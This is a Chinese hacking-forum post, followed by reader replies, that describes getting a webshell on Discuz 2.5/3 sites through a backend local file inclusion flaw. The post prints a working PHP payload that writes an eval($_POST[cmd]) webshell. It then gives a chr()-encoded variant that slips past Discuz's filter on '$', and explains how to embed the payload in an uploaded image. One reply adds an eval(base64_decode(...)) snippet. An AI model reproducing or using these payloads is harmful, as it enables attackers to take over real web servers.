对最近那个discuz2.5、3后台包含漏洞拿shell的实例测试操作
前段时间dz又爆出了一个本地包含漏洞,拿到管理员权限后就可以拿webshell了。具体我就不说了,网上到处都是了。随便丢个链接:http://hi.baidu.com/wwwwww/item/0f5e034565820603e835048e。
今天刚好有个环境,就想来试试。最初一切都顺利,可以成功包含robots.txt、boot.ini等:
但我上传了带有如下代码的图片上去,结果确失败了:
<?php fputs(fopen('loversorry.php','w'),'<?php eval($_POST[cmd])?>');?>
后来进一步看,好像所有的php代码都失败,感觉dz应该具有过滤。第一想法是找到代码看看。这里实际dz已经为我们提供了方便,直接包含一个不存在的文件,dz会把错误的调用栈显示出来。
虽然有了调用路径,但顺着走下去还是感觉头昏脑胀。最终走到class_template.php,基本晕菜了。看来要把整个脉络理清楚不花个几天的时间是不可能的,这里我也就休闲下,不可能这样搞下去。虽然不知道点找对了没有,但function parse_template中的一些代码更加坚定了我的判断,Dz在后面肯定有过滤的:
于是为便易行事,决定不在代码里绕了,开始走捷径测试吧。
其实测起来很简单,一开始被我想复杂了,还在代码里绕了半天。测试发现只要被包含的文件里面有“$”,就会失败。所以包含正常的php肯定是失败的。
找到原因就简单了,把代码改一下,变为:
<?php fputs(fopen('loversorry.php','w'),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62));?>
在网站根目录写一个一句话。找个图片在后面家加进去:
果然终于成功了:
评论20次
马克下,今后用的时候再来找
这打赏 太有钱了啊
真假 有0day?
感觉现在利用的方法越来越有趣咯
顶吧
ding你也有啊,我们都找你吧。
ding叔好久不见啊,最近还在搞银行没啊?
晕,原来论坛里面已经有一篇分析了。原来没有权限进来看
楼主有winxi统的0day.刚买了一 个好用啊。~~~直接溢出~
不会看代码。。都被你试出来了。。不错。。
楼主分析技术很赞 学xi了
呵呵,收下了、、、、
围观楼上 自取灭亡。。。
。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。
求早点到50啊、、、、、
好慢啊。。。早日到50
早日到50
利用没什么好说的了,去研究下如何形成的漏洞。后台配置修改以后是改变的数据库还是改变的文件,改变的什么文件,触发的什么?
eval(base64_decode(xxxx))